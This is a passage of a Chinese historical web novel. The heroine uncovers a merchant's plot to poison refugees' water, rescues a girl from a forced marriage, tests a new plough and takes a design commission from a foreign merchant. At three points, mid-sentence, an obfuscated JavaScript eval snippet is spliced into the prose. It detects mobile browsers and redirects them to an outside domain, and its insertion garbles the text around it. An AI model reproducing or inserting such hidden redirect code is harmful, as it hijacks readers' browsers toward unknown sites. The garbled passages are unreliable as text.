“侯爷现在所用的轮椅虽然简陋，结实，耐用，而且结构简易，坏了随便找个工匠就能修。” 姜晚不紧不慢地回答：“王师傅，您这话未免有失偏颇。” “此物并非华而不实，相反，它很实用。联动装置可让轮子适应全地形，不管在何处都如履平地。工时上，若由熟手匠人专攻，总耗时不会有多少。” “至于那些暗格，”姜晚笑了笑，“可放置应急物品，或者某些暗器。” “更重要的是……” 她看向众人：“此物一旦制成，若是将来军中有其他伤残将士需要，皆可依样打造。” 工坊内一片寂静，只能听到各种设备运行发出的声音。王工匠的表情逐渐放松，特别是听到“伤残将士”的时候，脸上闪过一丝动容。 北境与胡人冲突多发，每次征战，必有将士落下伤残，生活无法自如，让人扼腕叹息。 王工匠：“夫人说的对，是我考虑不周了。” 之后，王工匠又于某些细节方面提出值得采纳的建议。正当众人打算深入探讨时，一个瘦小的身影跌跌撞撞地冲了进来。 “夫人！夫人！”他上气不接下气地跑过来，脸憋得红通通的，“不好了！我看见钱老板他……他鬼祟祟的出去了！” 姜晚回首，正是当日她派去留意钱有财的少年。 9.行商 姜晚心头一跳，迅速蹲下身，扶住流民少年的肩膀，语气虽刻意压低，可还是能听出其中的焦急： “别急，慢慢说，你有没有看到他去哪了？” 这孩子咽了口唾沫，惶惶不安道：“我看到他往溪水上游去了，就是山崖那边新开的新溪……” 这条从断崖倾泻而下的山溪，是工坊完工之时新辟的，附近安置的流民都靠这条溪水过活。 姜晚眸底寒光乍现，立刻起身，语气决绝：“快去军营找李绍英将军，叫她带人抄近道，务必拦着钱有财！” 少年点头如捣蒜，转身如惊燕一般飞出工坊，瞬间消失在巷尾。 不知该庆幸少年机警，发现得早，还是该庆幸军营的亲兵动作迅疾，当李绍英派去的兵卒擒住钱有财时，他还没来及下手，只是在溪边贼眉鼠眼地观望。 此事涉及军务，因此不出半盏茶的功夫，事关钱有财的军报便呈上萧砚的案头。 当姜晚踏入军中推事厅时，昏黄灯影里，萧砚正端坐于堂中，摇曳的烛火在他脸上投出深浅不一的阴影。 与此同时，厅外传来沉重的脚步声，以及杀猪般的哭嚎。钱有财五花大绑，狼狈不堪地被两个亲兵押了上来，粗鲁地按在地上。 他龇牙咧嘴地“哎呦”一声，第一眼瞥见的是侧前方的姜晚。 此刻，姜晚立在灯光与阴影的交界处，心中五味杂陈，钱有财是她选中做事的人，可他竟敢在她眼皮底下做出此等伤天害理的腌臜事，丝毫不将流民的命放在眼里…… 她目光如刃，淬满怒火，一寸寸剐过钱有财跪倒在地的身影，锐利得似乎可以将他凌迟三千刀。 钱有财瑟缩了一下，随后抬眼看到轮椅上的身影，突然痛哭流涕地膝行爬去： “侯爷！冤枉啊！都是误会！实在是夫人误会小的了！” 亲兵抽刀，皱眉喝止：“跪回去！休得放肆！” 钱有财猛然一颤，不敢再上前，萧砚的声音不徐不疾，却让他遍体生寒：“误会？” “既然是误会，那本候倒要听听，钱管事去那新辟的水源，所为何事？” “回侯爷！”钱有财连忙答道，额头在地上磕得嗵嗵响，“小的只是去探查水源，并无二意啊！” 姜晚听后扯出冷笑：“探查水源？我竟不知钱老板你有如此闲心，听闻你生意上的事务往来尚且来不及处理，就连自家铺面伙计的生计都很少过问，竟有闲暇去探查水源？” “夫人有所不知！” 钱有财急得满头大汗：“这几日风紧，北境眼瞅着要落雪，小的只是去担心枯叶杂物被吹进水里，污了水源，才前去查看，好着手派人来清理。” “大伙建造工坊不容易，是卖力气的活，我怎么会害大伙呢！我这都是为了能让大家能喝上干净的水啊！否则，岂不是有负夫人的体恤之心！” 说到动情处，他不禁眼眶通红，显得情真意切不像作假，就连方才厉声呵斥亲卫也神色微动，冷峻的脸上浮现出一丝动容。 姜晚正欲开口，却见萧砚抬手召来一名亲兵，不多时一位流民便被带了进来。 少年噗通一声跪下，指着钱有财：“侯爷，夫人！我亲眼看到钱有财揣了个纸包，偷偷摸摸地往溪边去了！” 钱有财脸色骤变，厉声道：“臭小子你莫要血口喷人！你说我带了东西，证据呢？” 他转向姜晚，满脸委屈：“这是诬陷啊！那些流民，一定记恨我，才故意使坏！” 亲兵捉住钱有财时搜过他的身，确实没有夹带任何物品。 钱有财额头触地，忍住偷眼看向姜晚和萧砚，二人听后都未置一词，似乎在揣摩他语中真假，他正欲再添几句辩解，便听到推事厅外响起嘹亮的马嘶。 李绍英翻身下马，风尘仆仆地跨入厅内，将一个油纸包狠狠甩到他面前，随后朝厅前抱拳一礼： “末将奉命搜查，在溪边草丛中发现此物，经随军郎中查验，此毒……” “能让人穿肠肚烂而亡。” 钱有财仍不死心，他喊道：“冤枉啊！这不是小人的！定是有人故意污蔑陷害！” 李绍英目光如鹰隼般刺向钱有财，又补了一句：“末将更是在□□之处的附近，发现了钱有财的鞋印，新鲜得很，想必是被擒捉时仓皇藏匿于此。” 话音刚落，钱有财脸色惨白，嘴唇哆哆嗦嗦，似乎还像辩解什么，却说不出半个字，一切辩驳都在如山的铁证面前苍白无力。 萧砚指尖轻叩扶手：“证据确凿，钱有财，你还有什么要说的？” 此刻人证物证俱在，纵然有八百张嘴也说不清。钱有财佝偻着身子，死死盯着地面，一言不发。 “既然如此，按军规，当处——” “侯爷开恩啊！”冰冷的裁决即将脱口而出，钱有财豁出去了，突然哭喊道，“请侯爷明鉴！小人也是迫不得已啊侯爷！小人被逼的，被逼的啊！” 姜晚眸光骤冷：“你是受人所迫？谁？” “是蔡子兼！就是蔡子兼这个畜生让我做的！” 钱有财抓住了救命稻草，语速飞快：“他说等工坊建成后，便让小人将此物投放到流民的饭食中，让那些流民以为侯府草菅人命，工坊建成后就过河拆桥，用完人就杀！要逼他们造反！” 姜晚心中一沉，这一招，当真够狠。 不仅要毁掉工坊的根基，迫使工坊发展陷入停滞，更会让侯府背上残害百姓的罪名，从此民心尽失。 “还有……还有！”钱有财绞尽脑汁，生怕说的不够，便将所有事都抖了出来，“之前夫人征用工坊土地时，地契那档子事，也是他指使小人干的！说什么……‘不能让侯府这般顺遂’，小的也是无奈啊！” 难怪。 姜晚恍然大悟，她当时便疑惑，区区一个行商，怎么敢跟侯府叫板？原来这背后，也有人指使。 只是…… 这个蔡子兼究竟是什么来历？竟敢如此肆无忌惮？ 萧砚冷声道：“竟然是他？” 姜晚疑惑，侧首问道：“侯爷认识？” 萧砚：“何止认识。” 李绍英上前一步，解释道：“夫人有所不知，当年其弟蔡子邕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931283|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乃北境行商之首，却暗中勾结胡人，偷运军械盐铁。侯爷查实后，依军法将其斩首示众，从此蔡子兼便对侯府怀恨在心。” “不过这人自那年后便杳无音信，没想到竟在这时冒了出来。” 钱有财涕泗横流：“对对！就是这个蔡子兼！他之后改名换姓，在外面混得风顺水起，还成了皇商，几乎垄断了整个大晟七成的粮铁生意。我们这些想要做生意的，都要经他的手，缴纳高额的通路钱。” 他抹了把泪：“别看小的在北境风光，实则全靠蔡子兼手指头缝里漏出来的残羹过活啊！若是不照做，小的一粒米都买不到！” 皇商？ 姜晚敏锐地抓住了这个字眼。 她想起了阿勒坦说的话，以及那只有京中显贵才可得到的雪中檀，会不会也与此人有关？ 姜晚问道：“他现在人在何处？在京中可有靠山？” 钱有财缩缩脖子，偷瞄了眼萧砚阴沉的脸色：“小的不知，不过蔡子兼每隔一月便会派人来催缴通路钱。至于是否有靠山，小的就更不敢打听了。” “侯爷，夫人，北境百姓连饭都吃不饱，可这蔡子兼还丧良心地收取高价通路钱，其心可诛啊！” 姜晚思考片刻，略微沉吟，随后转身看向萧砚，低声道：“侯爷，可想除掉此人？” “此等蛀虫理应铲除，可惜蔡子兼此人不在北境辖区之内，鞭长莫及，很难对付。” 姜晚点点头表示了然，随后缓步踱到钱有财身前，蹲下身，与他平视：“钱有财，你恨蔡子兼吗？” “当然！”钱有财咬牙切齿，“他不拿我们北境的人当人，还哄抬物价，增收……” 姜晚抬手打断他没完没了的控诉。 “那你……”她故意拖长尾音，吊足钱有财的胃口，“想活命吗？” “想！想！求夫人开恩！”钱有财点头如鼓槌，“夫人想要小的做什么？” “很好，回去告诉蔡子兼，”姜晚嘴角勾起一抹笑，“就说给工坊投毒这事儿，你办成了。” 钱有财愕然。 “你继续做他的狗，”姜晚站起身，垂眸看向他，“但要记清，你真正的主子是谁。” “我要知道你去探听蔡子兼的一举一动，包括他每日见了什么人，收了什么礼，而后，随时汇报给侯府。” 钱有财点头称是，连连叩首。 “之后的一切，你依我吩咐行事，保证你可以取代蔡子兼，成为下一个大晟皇商。” 这句话犹如晴天霹雳，在并不宽敞的推事厅里炸开。 钱有财猛地抬起头，声音发颤：“夫人……蔡子兼垄断北境之外的所有商路，若想行商，便只能在北境之内，可百姓情况您也知道，连饭都吃不饱，哪还有银钱做买卖……” 姜晚答道：“那便先让百姓们吃饱。” “先保粮食自足，再兴商贸。况且，”她顿了顿，朱唇微勾，“谁规定，做生意只能在大晟境内？” 钱有财倒抽一口凉气。 “你可知西域的商队为了求一车茶叶，肯出十倍的银子？” 10.愚民 中原与西域的互市早在前朝初年便有了苗头，至中期为盛。只不过因中原连年战争，这条车马骈阗的商路日渐萧条，被迫中断，如今只剩寂寥旧址。 与西域通商已有先例，北境若是重开，也并非难事。 钱有财呆呆愣愣地抬头看向姜晚，黯然的眼眸突然迸发出少见的光亮。 “钱有财，我虽然可以再给你一次机会，将功折罪，”姜晚语气骤然转冷，嘴边的笑意也淡了几分，“可你妄图不轨，欲加害工坊众人是事实，虽未施行，可还是要给众人一个交代。” “我曾经立过规矩，凡事在工坊中偷奸耍滑的，闹事的，一律按军法处置……” 余下的话，她并未说尽，只是淡淡地将目光投到钱有财身上。 钱有财当即了然，不等她说完便“咚”的一声，额头重重磕在地上： “是是！应该的！小的知罪，小的甘愿受罚！” 姜晚眼波微转，看向萧砚。 “拖出去，打二十军棍，”萧砚语气冷冽，暗含警告，“若再敢图谋不轨，下一次，罚的可不止二十军棍。” 钱有财连忙叩谢：“谢夫人！谢侯爷不杀之恩！” 随后两名手持军棍的甲兵将钱有财拖了出去，很快，院外便传来棍棒着肉的闷响，以及钱有财痛苦的哀叫。 姜晚缓步来到流民少年身侧，俯身将他扶起：“去吧，去告诉大家，钱有财已依令惩处，以后若再敢为非作歹，侯府定不轻饶。” 少年重重点头，随后转身如一阵风般飞出厅外。 外面，二十军棍惩罚已毕，钱有财的哀嚎逐渐消散在风中，推事厅内重新归于寂静。姜晚却注意到，自从她言毕西域通商之事后，李绍英一直未语，她眉头深锁，显然陷入思索。 “李将军，可是有什么顾虑？”姜晚问道。 李绍英猛然回神：“夫人，您方才所说与西域通商虽有道理，可唯一一条与西域相连的通路，玉门古道，现已被胡人占据，短时间内，恐无法通行。” 姜晚笑了笑，温浅笑意将推事厅的肃穆融化几分：“无碍，通商一事，这本就不是一朝一夕能办成的。” “当务之急是让百姓碗里有粮，过得安稳。我前些时日新制了一种犁铧，打算改日去乡间考察一番。” 萧砚看向李绍英：“李将军，可拨几位亲兵随行。” 未等李绍英回应，姜晚连忙摇头道：“不必如此。” 萧砚微怔，抬眸望向她：“那你可需要什么？” 姜晚略微思考，答道：“只需两三位稍通民俗和农事的老奴即可。” 她此行为的是实地考察，又不是去征战，铁甲与长刀，对于饱受战争摧残的百姓而言，或许只会激起他们的抵触与恐惧，反而达不到此行的目的。 萧砚终是颔首，见她如此坚持，便未多言。 —— 黑云如织，天幕沉甸甸的，如一捧厚重的水墨堪堪兜在天际，片刻后就将尽数倾洒到人间。 姜晚正在后院清点行装，最后一次检查新制的犁铧是否严丝合缝，忽见周叔捧来一件玄色大氅。 “北地风厉，侯爷命老奴送来这个。” 姜晚放下手中检修的工具，从周叔手中接过。这件氅衣针脚细密，内里絮着厚厚的绒棉，看起来像是军中的样式。 她系上氅衣： “替我谢过侯爷。” 近郊，春杨村。 凛风砭骨，一辆装饰朴素的马车碾过尘土，行驶在乡间小路上。 姜晚带着两三位深谙农事的随从来到近郊的一处村落，春杨村，打算先在此处进行试点，若是效果好，再在全境推行。 这段时间她通过建工坊，安流民提升了较多的民生幸福指数，系统顺带着赠送了些许积分值，可以在系统内兑换物品。 北境苦寒长冬，接连五六个月都是霜冻期，等到雪期，积雪更是厚如山。如此严苛的气候下，作物一年至多一熟。 即便改良的犁铧能开垦更多荒地，却无法解决因气候造成的青黄不接。 她并非农学博士，在育种方面实在力不从心，只能凭常识在系统中兑换些能适应极寒的抗寒作物如黑小麦、春荞、冰凌菜等。 这些作物可在晚冬抢收，暂时缓解粮荒的缺口。 寒风卷过龟裂的田垄，朽木茅草搭建的房屋低矮破败，几户在家门口坐着的孩童，一个赛一个面黄肌瘦，瞅见村中来了新人，都眼巴巴地望着。 姜晚踏着狭窄的泥土路，来到村长的门户前，想与他商议试点一事，可连叩三次门，都无人回应。 随从见状，立刻上前敲开邻居家的门，询问村长去向。 门缝中露出一张干瘦的面孔，听完姜晚一行人的来意后，干枯的手指颤巍巍地指向村东头： “在应老六家闹着呢。” 说罢，便“砰”的一声，迅速关上房门，仿佛见到的不是人，而是鬼。 姜晚顺着指引，来到村东头的一处破败瓦房前，院内四处狼藉，断砖碎瓦遍地，仿佛被洗劫过一般。 还没寻到村长的身影，便听到院中传来一声怒喝： “贱丫头！村长肯要你，是你的福分！二十两银子呢，够老子喝三年的酒！” “当家的！”农妇的声音在悲戚哭喊，“云姝才十六啊！你就这样让她给人做妾，让她往火坑里跳啊！” 紧接着是一阵阵推搡打砸声，随后—— “啪！” 一记响亮的耳光。 “贱人！闭嘴！”那男人尖刻地啐了一口，语气瞬间变得暴戾，伴随着一声闷响和女人的痛哭，“再嚷嚷，老子把你们娘俩一起卖了！” 姜晚的心狠狠一揪，也不顾找寻村长，径直赶到争吵之处。 穿过几处残垣，只见一处破旧的房门外围满了看热闹的人。一个醉醺醺的汉子正揪着少女的头发往外拖。 少女单薄的棉衣扯烂，露出身上青紫交加的伤痕，一抹殷红的鲜血从额角渗出，染红了半边脸庞。 旁边的妇人扑上来阻拦，却被一脚踹中心窝，呕出一口血沫。 “住手，我看谁敢放肆！” 姜晚的声音并不大，却让院中嘈杂骤然寂静。 那醉汉眯着浑浊的眼打量来人，并无惧色：“去去去！哪来的娘们！这是老子的家事，你从来的回哪去，少管老子的闲事！” 姜晚身边的一位随从上前一步，沉声道：“大胆！这位是定北侯夫人。” 那醉汉醉得不轻：“管你是定北侯还是定南侯，都少管……” “闭嘴！”不等醉汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945408|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言毕，一个三角眼、吊梢眉的长须老头迅速从人群中钻出来，照着男人的后脑勺给了他一巴掌，随后向姜晚谄媚赔笑道。 “原来是侯府上的贵人，这醉汉不懂规没规矩冲撞了贵人，失敬失敬。不知贵人远道而来，有何贵干？” 姜晚道：“你是春杨村村长？” 须发花白的老者点头哈腰：“是是是！正是在下。” “正事稍后再谈，现在我们先来聊聊这个。” 姜晚的目光越过他，看向那个瑟缩在墙角，与妇人抱成一团的少女。 村长搓了搓手：“应老六曾经欠了我二十两银子，就拿闺女抵债了。毕竟欠债还钱，天经地义嘛……” 他瞥向姜晚逐渐阴沉的脸色，声音渐渐低了下去。可在这兵荒马乱的年代，鬻儿卖女，易子而食本就不少见，村里人都习以为常了…… 姜晚使了个眼色，身侧的随从适时给村长递上一袋碎银。 姜晚：“这是给你的银子，侯府替她还了。” 村长接也不是，不接也不是，迟疑道：“可是，这婚书都签了，您看着……” “婚书？”她突然伸出手，“拿来给我看。” 村长依言递上一张皱巴巴的红纸，姜晚垂眸将婚书的内容迅速扫过一遍，再抬起眼时，目光冷冽如冰： “嫁娶，讲究的是你情我愿，否则便是掳掠，与拐卖人口何异？” 村长急忙辩解：“可……可是……” 姜晚并不理睬，转而看向一旁的少女：“应云姝，你愿意吗？” 少女抬起沾满血污的脸，眼神倔强： “我宁愿死。” 姜晚盯着村长和那醉鬼应老六：“她说不愿。” 应老六被这番话惊得醒了酒，村长也支支吾吾道：“啊……这……夫人……这……” “她说，她、不、愿，”姜晚一字一顿，“没听懂吗？” 村长嘴唇嗫嚅，似乎还想再说什么来狡辩，却听到一声—— 刺啦—— 绢纸撕裂的声音在人群寂静之时显得格外清晰，皱巴巴的婚书被姜晚毫不犹豫地撕成碎屑。 她手腕一翻，信手将婚书碎片扬在空中。红色的纸屑在空中洋洋洒洒，飘落而下，似缤纷落英。 未等众人从震骇中恢复过来，便听姜晚继续道：“应老六，鬻女求财，虐打妻女。” 她转身对身边的随从说道：“带回去，审，看看按《大晟律法》，该判什么罪。” 随从依令而动，上前迅速钳住应老六。那泼皮无赖刚要嚎叫，就被一团麻布堵住嘴拖了出去。 众人眼瞧着方才嚣张跋扈的混不吝被生生拖走，一时对这位看起来温婉的侯府夫人生起几分敬佩。 姜晚掸了掸衣袖上沾染的灰尘，看向噤若寒蝉的众人，淡然道：“杂事已毕，现在，我们来谈谈正事。” 当她将计划在春杨村做试点的打算告知众人后，顿时在人群中引起轩然大波。 “祖祖辈辈都用老犁，没见饿死！新玩意儿万一不成，耽误了春耕谁负责？” “开荒？那荒地硬得跟铁似的，牛都拉不动！白白浪费力气！” 众人七嘴八舌，质疑声纷起。此时，一道清冽的声音在人群中响起： “我愿意一试。” 11.垦荒 话音刚落，无数双眼睛纷纷朝声源处看去，只见方才倒在地上的女孩站起身来，用衣袖失去脸上血迹，目光灼灼地看向姜晚。 人群传来窃窃私语：“这女娃莫不是脑子被摔糊涂啦？” “八成是哩，再说她家也没田，能试什么？” 姜晚并未理会这些闲言碎语，她看向女孩，随后从围观的村民中穿行而过，来到了女孩身边，郑重道：“你可想好了？不后悔？我这东西也是新制出来的，效果如何犹未可知。” 应云姝坚定地点头：“我想好了，夫人。您为我赎身，我为您试田，万恩无以为报。” “我爹就是个畜生，您押他回去审问，我求夫人——” 不等姜晚反应过来，她忽然屈膝跪下，重重叩首。 “从严处置！我应云姝就当没这个爹！” “哎呀！这女娃当真是脑子摔坏啦！” 人群哗然，仿佛她说了什么大逆不道的话。 “而且……” 她依旧维持着叩首的姿势，声音清越，却透出无与伦比的坚决： “我要立女户，请夫人成全。” “立女户？”人群中爆发出叫嚷，“应老六就算是个混账，但好歹也是你爹！打断骨头连着筋，你个小丫头片子真是反了天了！” “就是！祖宗的规矩还要不要了？” “自古以来，哪有女人立户的道理？” “晦不晦气！” “晦气？”应云姝缓缓起身抬头，愤然的目光直直刺向方才出言不逊之人，“饿死就不晦气了？像只畜生一样被卖掉就不晦气了？” “规矩？” “规矩能当饭吃吗？规矩能让我不饿死吗？” 应云姝的这番话瞬间将叫嚣的异音堵得哑口无言。 姜晚对她所说的话一头雾水，而且不明白为何这些村民反应如此激烈，仿佛女孩杀过人放过火似的。 身侧的随从悄声道：“另立女户非同小可，按律法需户无男丁，而且还要田产自立。” 姜晚了然，也不是什么杀人放火的事嘛。 她的视线扫过脸色铁青的村长：“大晟律法在此，可行得通？” 村长脊背发凉，支支吾吾地说：“通……通是通，可这从未有过先例呀！” “既然律法上说可行，便说明此事可成，若无先例，就需有人来开这个先例。” “可这律法规定，另立女户需有田产，”村长眼珠乱转，“可她家哪还有田？都被那应老六给败光啦！就剩村东头那点荒地，鬼都不去种！” “有地就行，还怕开不了荒？”姜晚截住他的话头，看向应云姝，“你若决意如此，我便鼎力相助。” “用我的方法，若是开荒成功，那所开垦的土地便是你的，敢不敢跟我去试试？” “敢！” 少女的回答十分干脆，没有半分犹豫。 人群推搡着，跟着姜晚她们来到村东头那片最荒僻的硬土地。 几个汉子在一旁抄着手，缩着脖子躲在人堆里嗤笑：“等着瞧吧，连牛都拉不动的玩意儿，一个小丫头片子能犁出什么花来？” “真别说，能不能拉得动犁还不一定哩！” 姜晚吩咐随从将新式犁铧卸下马车，方才还在等着看笑话的村民忍不住悄悄聚拢过来，想看看这稀罕物的模样。 这犁与他们惯用的笨重直辕犁迥然不同，犁辕弯曲如弓，犁铧长而尖锐，泛着新锻精铁独有的冷光，而且比寻常的要窄许多。 姜晚示意应云姝上前，自己则在后面握住犁梢后部的一个弯曲木柄。 “握紧这里，脚要蹬稳，”姜晚的声音顺着风飘进少女的耳中，“身子前倾些，切记别用蛮力，要借它的势，然后往下压。” 应云姝深吸一口气，按照姜晚的指示双脚分开踩实地面，身体微微前倾，瘦弱的脊背紧绷成一道弧线，仿佛一张拉满的弓。 姜晚也稳稳地握住犁梢，往下施加一股巧劲。 犁尖如游鱼入海，倏地没入土层。 围观的村民少了些许低语，不由得屏息凝神，虽有人仍摇头撇嘴，但更多目光以牢牢附着在犁铧上，似乎也在希冀奇迹出现。 嗤—— 不过几息，沉闷的翻土声响起，新翻出的土壤散发出新鲜潮湿的腥气，一时间盖过了所有窃语。 应云姝觉得似乎有一股源源不断的力量顺着犁铧传到手臂，这一刻，不是她在驾驭犁，而是犁在牵引她向前。 她咬紧牙关，用尽力气蹬地前推，尖锐的犁铧如切豆腐般，破开坚硬的土层，翻出黝黑湿润的新泥。 一步，两步…… 很快，一道越来越长的，散发着泥土气息的深沟在她身后延伸出来。 人群彻底失声，只剩下铁犁破土的声音。 有人蹲下来，抓起一把新翻上来的黑土，粗糙的手指用力捻着，眼中显出难以置信的光彩。 “嚯！这犁真管用啊！” “神了！” 方才嗤笑的大汉目瞪口呆，眼珠都差点掉出来。 姜晚松开犁梢，看着应云姝独自操控犁铧又前进丈余，便道：“若是遇到更深的板结层，可稍微调整犁壁的角度，这样省力些。待来年开春雪化时，肥力就出来了。” 她又从随从手中接过几卷轻薄的油布：“这是覆膜，等种子播下，可用竹片撑起架子，将这膜覆在田上，边缘用土压实了，别透风。如此便可增温保湿，护着苗早发。” 覆膜保温法最理想的材料是塑料薄膜，可在现在这个时代，只能用油布勉强将就。 姜晚将油布和种子交给应云姝，吩咐一名随从留下在村中记录田地的变化，并随时汇报给侯府。 最后，她对应云姝道：“从今以后，你就是这片地的主人，若于耕种时遇到难处，可直报侯府。” 应云姝抱着姜晚交给她物品，苍白的嘴唇动了动，却终究没有发出声，只是深深一躬到底，那双饱含希望的眼睛，亮得灼人。 —— 回程的马车在并不宽敞的官道上摇晃，暮色四合，铅灰色的积云沉甸甸地压着四野，是即将起雨的征兆。 姜晚靠在车壁上，闭目养神，指尖无意识地摩挲着袖中那块冰冷的玄铁令牌。 马车猛地一顿，倏然停驻，姜晚一时不备，若不是及时稳住身形，险些又要撞到额头。 车夫略显紧张的声音隔着帘子传来：“夫人没事吧？前面有辆大车，把路给堵实了，您看这……” 姜晚伸手挑开车帘，只见一辆华贵的四驾马车横在并不宽敞的道路中央。 这辆马车金贵得与萧条的北境格格不入，朱漆车辕，锦绣车帷，拉车的四匹骏马毛色油亮，四肢健硕。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959910|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个车夫围着那华贵的车轮不知在捣鼓什么，动作有些笨拙。 姜晚：“这是怎么了？” “看样子是车坏了，一时半会怕是修不好了。”车夫答道。 姜晚略一颔首，取过仔细叠放好的氅衣披上，下了车来到那些手忙脚乱的车夫身旁，一眼便发现症结所在： “车辕的榫卯错位了，用楔子固定试试？” 话音刚落，一张高鼻深目，眼眸碧绿，极具异域风情的脸探了出来，皮肤是蜜糖般的色泽，浓密蜷曲的黑发间缀着细小精致的金链。 “你就是大名鼎鼎的定北侯夫人？果然名不虚传。” 这女子开口是流利的中原官话，夹杂着丝缕异域腔调。 姜晚被夸得有些赧然：“大名鼎鼎？没有吧？我们见过？” 车中的女子笑了笑，抬手指向姜晚氅衣上的绣纹：“这是军中的印记吧？除了定北侯府，还有谁能用？” “哦？”姜晚低头，看向衣领上那处精巧的翎羽暗纹，她之前从未留意过，“你竟还认识军中徽记？” 车中传来一声轻叹：“我夫君曾经也是侯爷麾下的将士，自然认得。” 她又道：“没想到竟能在此遇到夫人，惊扰了夫人车驾，实在抱歉。” “若不嫌弃，还请移架同乘，你我二人说说话，也好避避冬风。” 姜晚本欲推辞，可按耐不住对方的盛情邀请，便略略颔首，踩着脚凳踏入车厢。 踏入车内的瞬间，一股好闻的异域奇香包裹周身。车内的空间极为宽敞，地上铺着厚厚的波斯地毯，炉上煨着香飘四溢的奶茶，与车外呼啸的寒风恍如两个世界。 贵妇人斟了被热腾腾的奶茶递给姜晚，道：“唤我山木即可，这是我的汉名。” 姜晚接过温热的杯盏，周身寒意瞬间被驱散些许：“多谢，我名姜晚。” 她抬眸细细打量着眼前人：“姑娘不似中原人，不知你家在何处？” 山木回忆道：“我本是疏勒人，年少时随父亲的商队来中原贩卖香料玉石。” “那时节不太平，路上遇到胡寇劫掠，商队死伤殆尽。我命大，从死人堆里爬出来，顺手，”她轻笑一下，“拖出了我现在的夫君。” “他当时只是个小兵卒，只剩一口气，我好不容易才把他从阎王手里抢了回来。” 姜晚心中微动，面上却不动声色：“夫人好本事。” “哪有哪有，”山木自嘲地摆了摆手，“大概是我心地善良吧，才喜欢多管闲事。后来我们就成亲了，如今他在北境都护府任个闲职，我呢，闲不住，仗着娘家带来的手艺在城外弄了个小工坊，专制些珠宝香料什么的供大晟的官眷夫人们赏玩罢了，也算是条挣钱的门路。” “说起来，在夫人来到北境之前，这北境官眷的席面，还是我勉强操持着。”她语气中带着微微自豪。 听完她的话，姜晚道：“这么说，你也是商路中人？那你可认得蔡子兼？听闻他把控大晟商路，凡商货往来，必经由他手。” 山木摇摇头：“听说过此人，可并未同此人打过交道，中原走不通还有西域等着，我自有我的门路。再说，那些京城的官眷哪管什么规矩不规矩，直接遣快马到铺子里取货便是。” 姜晚眉梢微挑：“可愿详谈？” 山木眼中闪过兴味：“怎么，夫人也对行商有兴趣？” 12.旧疾 有风吹过，拂动马车窗棂上装点的琉璃坠饰，发出泠泠响声，宛如碎玉相击。山木探究的目光落到姜晚身上，带着隐晦的审视。 姜晚则坦然一笑，不闪不避地迎上她的视线： “兴趣倒谈不上，权当给自己留条后路罢了。” “哦？堂堂侯夫人，也需要退路？” 姜晚叹息：“侯府夫人听着是风光，可这北境的境况你我也清楚。工坊要维系，工人要安置，处处要钱粮打点，少不了花费金银，总得未雨绸缪吧。” 山木了然地点了点头：“夫人快人快语，真是爽快！” “不过我山木能在北境，乃至大晟立足，靠的就是这些旁人没见过的稀罕玩意儿，还有那些寻常人无从得知的门道。” 她顿了顿，抬眸看向姜晚，眼中暗含锐光：“所以，对待这吃饭的门路，恕我不得不谨慎些。” “自然，”姜晚表示理解：“商道如棋，为商之人，理当如此。” 姜晚眼眸平静无波，她没对此事抱太大期望，本就是试探之举，成与不成，不过是棋盘上多一枚或少一枚闲子罢了。 “不过……” 山木话锋一转，身子微微前倾，发间的宝石璎珞折射出耀眼火彩，一股浓郁的异域奇香窜入鼻息。 “我早就听说过夫人您建工坊革新具的本事，神乎其神，能让军械制造的效率提高五成？” “确有此事。” “夫人若想寻得一处赚钱的门路，我倒有条捷径。” 姜晚闻言，放下手中温热的杯盏，神色犹疑地看向面前这位笑意盈盈的贵妇人。 “我那小工坊，专做些精细玩意供给官眷，可惜产能不够，产量上不去，京中的官眷们追着要货也就罢了，就连西域商队也催货催得紧。” “若能得夫人这等能人指点一二，对我那小工坊进行改制，稍微提升点产量……” 她尾音拖长：“价钱嘛，好商量。” 听罢，姜晚不着痕迹地蹙了下眉，她为工坊军械设计图纸，已经够忙的了，如果再多了这件事，她头发还要不要了？ “我怕是……” 推辞之语还未发出，便听山木接着道。 “定金，我给您三百两。” 姜晚眼睛瞬间亮了。 发财了！ 这是真让她遇见富婆了？ “我怕是……”姜晚瞬间收回还未出口的推辞之语，展颜一笑，丝毫不见方才蹙眉为难之色，“要彻夜为山夫人赶制图纸了。” 山木抚掌一笑，声音脆如银铃：“夫人真是爽快！不过此事不急，还得改日请夫人移步寒舍实地看看，再视情况而定。” “若是改制工程较大，咱们也可以分项进行，一张图纸三百两起，看东西定价。” 说着，她突然从袖中抽出几张印有朱红章记的银票，轻飘飘地按在案几上。 “这是三百两定金，请夫人过目。” 姜晚按耐住心中狂喜，她强装镇定，不动声色地接过这几张银票，矜持地放入钱袋中。 姜晚：“不知何日去勘察？” 